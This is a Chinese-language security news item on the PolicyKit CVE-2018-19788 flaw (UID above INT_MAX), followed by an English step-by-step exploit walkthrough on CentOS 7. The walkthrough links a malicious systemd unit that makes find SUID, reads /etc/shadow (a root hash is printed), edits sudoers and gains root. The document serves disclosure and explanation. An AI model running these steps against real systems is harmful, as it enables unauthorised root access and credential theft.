Linux操作系统中UID值大于2147483647的低权限账户可以未授权执行任意systemctl命令。该漏洞存在于PolicyKit(polkit)中,PolicyKit是类Unix操作系统中定义策略、处理系统范围内权限和提供给非特权进程与特权进程通信方式的应用级工具集,比如sudo。
该漏洞CVE编号为CVE-2018-19788,影响PolicyKit v0.115版本,这是大多数主流Linux发行版中预装的版本,其中包括Red Hat, Debian, Ubuntu和CentOS。
漏洞是因为PolicyKit没有UID大于INT_MAX的低权限用户的权限请求进行适当的验证。INT_MAX是计算机程序中用于定义整数变量可以保存的最大值的常量,等于2147483647,十六进制表示为0x7FFFFFFF。
也就是说,如果用户在受影响的Linux操作系统中创建了UID大于INT_MAX值的用户账户,攻击者就可以利用PolicyKit组件来执行任意的systemctl命令。
$ systemctl --version systemd 239 +PAM +AUDIT -SELINUX +IMA +APPARMOR +SMACK -SYSVINIT +UTMP -LIBCRYPTSETUP +GCRYPT -GNUTLS +ACL +XZ +LZ4 +SECCOMP +BLKID -ELFUTILS +KMOD +IDN2 -IDN +PCRE2 default-hierarchy=hybrid
$ id uid=4000000000(someuser) gid=100(users) groups=100(users) $ systemctl stop sshd.service (pkttyagent:3342): GLib-GObject-WARNING **: 13:28:53.802: value "-294967296" of type 'gint' is invalid or out of range for property 'uid' of type 'gint' ** ERROR:pkttyagent.c:156:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0) $ systemctl is-active sshd.service inactive
安全研究人员Rich Mirch(Twitter @0xm1rch)发布了该漏洞的PoC,用UID 4000000000证明了该漏洞。
在补丁发布之前,Red Hat建议系统管理员不要设置负值UID或大于2147483646的UID,以缓解该漏洞可能带来的威胁。
CVE-2018-19788
Exploiting The CVE-2018-19788 PolicyKit Bug
Steps to exploit PolicyKit bug on a fully patched CentOS7 installation.
[root@centos7 ~]# groupadd -g 4000000000 cve201819788
[root@centos7 ~]# useradd -m -c “User With High UID” -u 4000000000 -g 4000000000 -s /bin/bash cve201819788
[root@centos7 ~]# id cve201819788
uid=4000000000(cve201819788) gid=4000000000(cve201819788) groups=4000000000(cve201819788)
[root@centos7 ~]# cat >hacked.service<<HACKED
[Unit]
Description=Hacked Service
[Service]
Type=notify
ExecStart=/bin/bash -c “chmod +s /usr/bin/find”
KillMode=process
Restart=on-failure
RestartSec=60s
[Install]
WantedBy=multi-user.target
HACKED
[root@centos7 ~]# systemctl link $(pwd)/hacked.service
Created symlink from /etc/systemd/system/hacked.service to /root/hacked.service.
[root@centos7 ~]# su – cve201819788
[cve201819788@centos7 ~]$ whoami
cve201819788
[cve201819788@centos7 ~]$ grep root /etc/shadow
grep: /etc/shadow: Permission denied
[cve201819788@centos7 ~]$ systemctl start hacked
(pkttyagent:12785): GLib-GObject-WARNING **: 21:08:45.965: value “-294967296” of type ‘gint’ is invalid or out of range for property ‘uid’ of type ‘gint’ **
ERROR:pkttyagent.c:146:main: assertion failed: (polkit_unix_process_get_uid (POLKIT_UNIX_PROCESS (subject)) >= 0)
[cve201819788@centos7 ~]$ ls -l $(which find)
-rwsr-sr-x. 1 root root 199304 Oct 30 12:42 /bin/find
[cve201819788@centos7 ~]$ find /etc/shadow -exec grep root {} ;
root:$6$/zGjAAFHb.RUQJPx$qJH5DgIrZ1avYAeceWPNKitAbyGxMQ6vaOL7MfJ84mrwU6xgOxr/4hpQqdNWQiX6nBgu9WUKqWrJ4t6zRFbIN1::0:99999:7:::
[cve201819788@centos7 ~]$ find /etc/sudoers -exec visudo -f {} ;
Insert following into sudoers file
cve201819788 ALL=(ALL) ALL
[cve201819788@centos7 ~]$ sudo -l
[sudo] password for cve201819788:
Matching Defaults entries for cve201819788 on centos7:
!visiblepw, always_set_home, match_group_by_gid, always_query_group_plugin, env_reset, env_keep=”COLORS DISPLAY HOSTNAME HISTSIZE KDEDIR LS_COLORS”, env_keep+=”MAIL PS1
PS2 QTDIR USERNAME LANG LC_ADDRESS LC_CTYPE”, env_keep+=”LC_COLLATE LC_IDENTIFICATION LC_MEASUREMENT LC_MESSAGES”, env_keep+=”LC_MONETARY LC_NAME LC_NUMERIC LC_PAPER
LC_TELEPHONE”, env_keep+=”LC_TIME LC_ALL LANGUAGE LINGUAS _XKB_CHARSET XAUTHORITY”, secure_path=/sbin:/bin:/usr/sbin:/usr/bin
User cve201819788 may run the following commands on centos7:
(ALL) ALL
[cve201819788@centos7 ~]$ sudo su –
Last login: Sun Dec 30 20:59:54 EST 2018 from 192.168.1.2 on pts/0
[root@centos7 ~]# whoami
root